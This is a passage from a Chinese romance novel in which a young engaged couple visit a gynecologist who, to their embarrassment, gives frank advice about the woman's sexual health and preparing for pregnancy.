肖瑜连忙点头。可顾程看了眼她的餐盘,却说,“不着急,吃得太快不利于消化。跟赵主任约的时间
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也快到了,先去医院。手机的事,放一放。”
“可是……”肖瑜踌躇着又去看沉默下来的燕北北,搜肠刮肚地找借口,“我……我怕妈妈给我打电话,我怕家里是不是有什么事……”
“是在商量订婚的事。”顾程侧首看向她,因她闻言惊讶大于喜悦,心里已然有些不太舒服,转头拿起了筷子,“我父母今天去了舟城,日子应该很快就能定下。待会儿要是想跟她联系,用我的打。”
*
可去往医院的路上,顾程挂着耳机,电话一个接一个地进来,根本没什么机会借手机给她,看得出来下午这趟私事,打乱了他不少工作计划。
肖瑜在侧时不时偷偷看他一眼,一副做贼心虚的样子,简直就差在脸上招摇地写上‘亏心’二字。
中心医院的停车位十分紧张,即便是内部通道,也老远就停得密密麻麻。
大厅入口下了车,顾程拉着肖瑜的手径直上了妇科主任的办公室,不同出公司前还算平和的脸色,竟一路都没再说过话,面沉如水。
一系列检查做完,赵主任架起眼镜仔细看完报告,面色严肃地看向肖瑜,“上次月事紊乱有没有药物作用?”
面对跟穆青华一般年纪的知性女医生,肖瑜下意识就有些胆怯,抿了抿嘴巴,做错事一样低下了头,“吃过药。”
“只吃过一次。”顾程在侧补充道,“之后都有措施。第一次是意外,所以才让她吃了药。”
肖瑜的脸颊登时火烧一样,脑袋深深地垂了下去。
赵主任点了下头,又问,“所以,是最近才开始有幸生活?”
肖瑜已经羞得不能抬头。顾程倒是答得很认真,“是。半个多月前才开始。”
“她这个是生理性的,生完孩子应该就不会再痛了。”赵主任摘下眼镜,拿食指扣了扣桌面,待肖瑜面色通红地抬起了头,才笑眯眯说道,“女人也是有生理需求的,只要不滥交,不用觉得不好意思。反而有想法却总是得不到纾解,才容易因为持续性盆腔充血导致炎症,也会因为肝气不活而内分泌紊乱,影响月经。你俩不是马上要结婚了吗?以后把握好质量和频率,有需求的时候就跟老公提出来,别太过压抑。”
肖瑜听得云里雾里,待回过味儿来,脸已经红得要滴血,话都说不囫囵地慌忙解释,“我没有,我没有压抑,医生我没有!”
顾程也缓了半天神,才不可思议地问道,“您是说她……欲求不满?”
“别激动,都是正常生理现象。”赵主任稳当当喝了口热茶,才慢悠悠解释道,“现在的年轻人都比较开放,亲亲抱抱腻歪得狠了,产生生理冲动很正常。男人从青春期开始,大多都有自己疏解的渠道,女孩子这方面相对保守要给予理解。”她说着,从抽屉里拿出两盒孕期综合维生素,递给顾程,“现在就开始吃吧,备孕期别太频繁,保持静子质量,还有就是不要熬夜,戒烟戒酒。”
“这药谁吃?我还是她?”肖瑜已经如坐针毡,顾程接过药盒瞥她一眼,眸色不明,“还有,什么频率合适?一天几次?”